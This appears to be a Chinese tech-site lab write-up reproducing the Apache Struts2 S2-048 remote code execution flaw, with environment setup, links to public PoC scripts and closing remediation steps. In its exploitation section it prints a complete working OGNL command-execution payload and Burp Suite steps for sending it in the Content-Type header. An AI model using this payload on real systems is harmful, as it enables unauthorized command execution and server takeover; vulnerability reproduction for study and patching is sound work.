Struts2 S2-048高危漏洞復現!詳解幾個漏洞攻擊載荷利用的對比分析
原創【51CTO.com原創稿件】一、S2-048 漏洞綜述
1.1 漏洞背景
2017年7月7日,Apache Struts發布最新的安全公告,Apache Struts2-strus1-plugin插件存在遠程代碼執行的高危漏洞,漏洞編號為CVE-2017-9791(S2-048),主要受影響的Struts版本為:2.3.x。
攻擊者可以構造惡意的字段值(value)通過Struts2的struts2-struts1-plugin的插件傳遞給被攻擊主機,從而實現遠程代碼執行攻擊,直接獲取遠程主機的控制權限。
1.2 漏洞產生原因
這個漏洞主要問題出在struts2-struts1-plugin這個插件包上。這個庫的主要作用就是將struts1的action封裝成struts2的action以便它能在strut2上運行使用。
而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函數可以調用 getText() 函數,這個函數剛好又能執行OGNL表達式,同事這個 getText() 的 參數輸入點,又可以被用戶直接進行控制,如果這個點被惡意攻擊者所控制,就可以構造惡意執行代碼,從而實現一個RCE攻擊。
1.3 漏洞影響范圍
Apache Struts 2.3.x系列中啟用了struts2-struts1-plugin插件的版本都在其影響的范圍內。
二、漏洞環境部署
2.1 漏洞環境包
本次漏洞演示,我們可以直接使用struts2.3.x環境下自帶的struts2-showcase演示demo示例環境,進行S2-048漏洞復現,故這里我們只介紹下struts2.3.x的環境包。(struts2-showcase 演示環境就存S2-048漏洞)
struts2.3.24環境包下載地址:http://archive.apache.org/dist/struts/2.3.24/
2.2 Tocat環境部署
工程師可以直接安裝一個XAMPP套件,其默認就帶有tomcat的支持,可以直接拿來進行struts環境的部署。
(1)啟動tomcat服務
(2)Tomcat 環境訪問
2.3 S2-048漏洞環境部署
(1)解壓struts-showcase
下載完struts2.3.24環境包后,我們直接將其“strus-showcase.war”的demo包解壓到tomcat的webapps環境目錄下(具體路徑依據個人實際環境來定,可參考下圖路徑)。
(2)重啟tomcat服務自動部署war包
tomcat中有關war的部署比較簡單,我們只需要將相關的war包放到tomcat的webapps目錄下后,重啟tomcat服務后,war包就會被自動解壓部署。
(3)漏洞環境訪問
本struts2-showcase demo示例中有關S2-048漏洞的觸發點在“Struts 1 Integration”(S1 整合)處,具體位置可參看下圖。
(4)漏洞環境驗證
我在這漏洞出發點可以直接使用OGNL語法直接操作一個運算 10-7,看其是否可以直接運行并輸出結果,通過驗證發現果然可以直接執行并輸出正確的結果。
三、漏洞檢查與利用腳本
3.1 工具準備
有關漏洞的檢查與利用,這里已經收集好了相關的利用poc與腳本,相關使用方法都已經梳理輸入如下,大家使用時,可以參考使用。
(1)工具包下載地址
https://github.com/W3bSafe-Team/Struts2-048-poc
(2) POC 使用方法
(3) shell 驗證exp
3.2 漏洞檢測
一般,我們在進行漏洞利用之前肯定需要進行漏洞的檢測與確認,這里直接使用前面下載的工具包中的一個批量檢測的POC(Struts048-POC.py),用其進行S2-048漏洞的檢測,具體檢測過程如下。
(1) 創建一個url.txt文檔,將需要檢測的URL連接收集放入其中,這里進行漏洞觸發點的檢查時,我們收集了多個目錄,其中包含了struts-showcase demo目錄下的各個路徑以及部署tomcat根目錄,看看漏洞的觸發是否有規律可循。
(2) 創建一個臨時文檔tmp.txt,必須創建,否則腳本執行會報錯。
(3) 直接運行此python腳本;
通過POC對各個URL進行檢查后發現,只要是在struts2-showcase目錄下的路徑,都可以做為漏洞觸發的利用點,而不在此目錄下,漏洞無法觸發。(那么在這里也告訴我們有關此S2-048漏洞的修復方法,就是刪除或者禁用此目錄。)
3.3 漏洞利用復現
接下來,我們使用網絡上提供的檢測腳本和抓包截斷的利用方式分別復現下漏洞的利用過程。
3.3.1 shell腳本利用復現
利用上一個章節檢測出的三個可以利用URL,我們直接使用漏洞利用shell進行漏洞利用復現。
注:由于需要使用Linux環境才能運行shell腳本,我這里開啟了kali,并將URL中的127.0.0.1的地址替換為10.48.8.234,請大家在看截圖過程,希望不要有什么疑惑。
(1)URL1利用:http://10.48.8.234:8080/struts2-showcase/integration/editGangster.action
(2)URL2利用:http://10.48.8.234:8080/struts2-showcase/integration/
(3)URL3利用:http://10.48.8.234:8080/struts2-showcase/
通過上面針對三個URL漏洞觸發點進入S2-048漏洞直接getshell利用驗證,更加嚴謹的證實了只要是在showcase demo目錄下的URL路徑都可以直接被利用。
3.3.2 抓包截斷利用復現
如果我們仔細查看最近爆出的S2-045、S2-046、S2-048,該漏洞利用的payload 其實都是一樣的,不同的僅僅是觸發點不同,影響范圍不同而已。S2-045的影響方位最廣,只要是使用當時的Struts2框架的系統基本都在其影響的范圍內,而后面的S2-046和S2-048漏洞的漏洞觸發點有一點的限制條件,本次S2-048漏洞的利用條件就是你在使用了 struts2-struts1-plugin插件的情況下,才會觸發漏洞的產生。
這里我們就復現下,使用與前期S2-045漏洞利用Content-type字段來傳遞攻擊payload到目標主機的方法,來復現下S2-048漏洞的利用。
3.3.2.1 攻擊payload準備
我直接使用前面下載的shell腳本的中的payload進行后續的抓包截斷攻擊的演示復現。
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
3.3.2.2 抓包截斷攻擊
- (1)第一步:首先使用burpsuite截斷“http://10.48.8.234:8080/struts2-showcase/integration/editGangster.action”訪問;
- (2)第二步:將當前截斷數據包發送到repeater模塊,修改content-type字段為攻擊payload;
- (3)第三步:修改payload命令執行字段為"whoami",發送攻擊包;
這里我將shell腳本中的045,046,048的payload攻擊載荷都放入burpsuite的repeater模塊進行了重復發包驗證,發現都可以利用成功,具體驗證情況如下。
- S2045 Payload驗證截圖
- S2046 Payload驗證截圖
通過上面burpsuite重復發包驗證,S2045、S2046、S2048的攻擊payload都可以對S2048漏洞進行遠程命令執行,獲取主機的控制權限,這里我們會發現上半年暴露出的“S2045、S2046、S2048”攻擊載荷都是一樣的,只是漏洞的觸發點不同而已。
以上觀點僅個人漏洞復現利用歸納總結所得,如有什么有誤的地方,有路過的大神能給以指定,這里謝過。
四、 S2-048 漏洞修復與加固
(1)直接禁用 struts2-struts1-plugin插件;
(2)對于如果啟用 struts2-showcase 演示示例系統,應立即刪除本演示示例;
(3)升級當前struts2 到最新版本;
(4)不要相信用戶端的任何數據輸入,建議開發者通過使用resource keys替代將原始消息直接傳遞給ActionMessage的方式,如:
messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));
漏洞學習參考
1. Struts2高危漏洞S2-048動態分析
http://www.moonsec.com/post-776.html
2. Struts(S2-048)遠程命令執行漏洞分析
http://www.sohu.com/a/155509766_290304
3. Struts2-048 Poc Shell版本(附修復方案)
https://bbs.ichunqiu.com/thread-24504-1-1.html
https://github.com/W3bSafe-Team/Struts2-048-poc
4. Apache 官方說明
https://cwiki.apache.org/confluence/display/WW/S2-048
【51CTO原創稿件,合作站點轉載請注明原文作者和出處為51CTO.com】